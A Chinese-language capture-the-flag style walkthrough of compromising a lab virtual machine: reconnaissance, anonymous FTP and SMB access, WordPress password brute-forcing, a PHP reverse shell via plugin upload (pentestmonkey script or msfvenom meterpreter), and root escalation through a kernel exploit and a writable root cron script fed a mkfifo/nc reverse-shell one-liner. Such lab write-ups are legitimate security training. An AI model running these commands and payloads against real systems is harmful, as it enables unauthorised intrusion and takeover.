文章目录
一、基础信息
Kali IP: 192.168.20.146
靶机IP:192.168.20.148
二、信息收集
端口扫描
nmap -sS -sV -p- -A 192.168.20.148
tscan工具
发现端口开放比较多:80,21,22,53,139,3306等知名端口
目录扫描
dirsearch -u http://192.168.20.148
发现三个文件,但没什么价值。
三、漏洞探测
ftp 组件版本为vsftpd 2.0.8
searchsploit vsftpd 2.0.8未发现组件漏洞
ftp匿名登录:根据信息收集提示,允许ftp匿名登录
显示有note文件,下载下来,但是我通过winscp连接失败,不知道为啥
打开文件是一句话,然后上面ftp连接时也有一句话
Harry, make sure to update the banner when you get a chance to show who has access here
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
里面出现了3个人名:Harry、Elly、John
可能是系统用户,尝试Harry进行连接,有提示内容,用其他的也一样
这样又多了一个用户名:Barry,但是尝试ssh暴力破解没有成功,时间太久没有继续等结果
80 端口/web服务,没有信息
139端口/SMB服务
searchsploit Samba 4.3.9,未发现组件Samba smbd 4.3.9的Nday漏洞。
Smb口令漏洞
smbclient -L 192.168.20.148密码空口令,发现kathy
使用命令smbclient //192.168.20.148/kathy和空口令登录SMB服务
get将文件下载再来,quit退出,看了下各个文件,好像没获取到什么有用信息
666端口
显示为乱码,文件头PK应该是一个压缩包,利用nc命令下载下来
nc 192.168.20.148 666 > file
mv file file.zip
解压缩为一张图片,strings分析一下
提示说需要cookie,以及两串奇怪的代码
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
12380端口
翻阅页面源代码发现有个人名:zoe
扫描目录没有其他发现
后面看wp发现可以尝试https,这个确实没想到,或者好像用其他扫描工具也能扫描出来
https://192.168.20.148:12380/
dirsearch -u https://192.168.20.148:12380 -x 403
访问robots文件发现新路径:https://192.168.20.148:12380/robots.txt
https://192.168.20.148:12380/admin112233/
https://192.168.20.148:12380/blogblog/
当前网站是wordpress cms,版本为4.2,可以继续扫一下当前目录
有一些文件和目录,访问后特别一点的就是有个显示文件上传的目录
https://192.168.20.148:12380/blogblog/wp-content/uploads/
但是当前没有文件
Phpmyadmin页面:https://192.168.20.148:12380/phpmyadmin/
尝试空口令和弱密码没进去,看后续能不能找到数据库账密
四、账户密码爆破
现在知道cms是wordpress,尝试使用wpscan扫描
wpscan --url https://192.168.20.148:12380/blogblog/ --disable-tls-checks
暂时没有发现,扫描wordpress用户,发现有很多
将上面的用户名收集起来,继续尝试爆破密码
wpscan --url https://192.168.20.148:12380/blogblog/ --disable-tls-checks --usernames user.txt --passwords /usr/share/wordlists/rockyou.txt
成功爆破出很多密码,但是时间真的久
在https://192.168.20.148:12380/blogblog/wp-login.php页面进行登录
基本都是普通用户,但是john是管理员,成功登录后找可以getshell的地方
找到一个可以上传插件的地方,这里就可以上传php脚本反弹shell了
五、反弹shell
这里可以找直接反弹的php脚本也可以用msf制作php木马
(1)https://github.com/pentestmonkey/php-reverse-shell
利用FTP成功上传,上面还记得上面有提到文件上传的目录
https://192.168.20.148:12380/blogblog/wp-content/uploads/
Kali开启监听端口,点击访问后成功反弹shell
(2)利用msf制作木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.146 Lport=8080 -f raw > shell.php
成功上传
Msfconsole监听端口
use exploit/multi/handler
show options
set payload php/meterpreter/reverse_tcp
set lhost 192.168.20.146
set lport 8080
run
任选其一即可
六、权限提升
1、内核提权
Uname -a 显示内核信息
lsb_release -a 显示发行版信息
searchsploit ubuntu 16.04
经过尝试发现可用的提权漏洞
locate linux/local/39772.txt
通过查看文档下载exp,然后开启一个http服务,服务器wget下载下来,并赋予文件可执行权限
根据文档提示执行程序
./compile.sh
./doubleput
提权成功,获取到flag
2、计划任务提权
两个关键路径
/etc/*cron*
/var/spool/cron
/var/spool/cron下没有查看权限
查看定时任务
find /etc/*cron* -type f -ls 2>/dev/null
查看定时任务内容
find /etc/*cron* -type f -ls 2>/dev/null -exec cat {} \; > /tmp/cron.txt
grep '\*' /tmp/cron.txt
发现root用户每5分钟会执行一次/usr/local/sbin/cron-logrotate.sh脚本
并且发现有写入权限,现在便可以写入脚本反弹shell了
但是要注意的是,root用户的shell为zsh,用bash反弹不了,改为用nc
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.146 4444 >/tmp/f
Nc -lvvp 4444
./cron-logrotate.sh
将内容写入到文件中并执行,同时开启监听端口,发现反弹成功,并成功提权
另外还可以通过获取历史命令发现用户信息,ssh登陆后进行提权,可自行参考其他wp
本文参考:https://blog.csdn.net/m0_53721197/article/details/135579147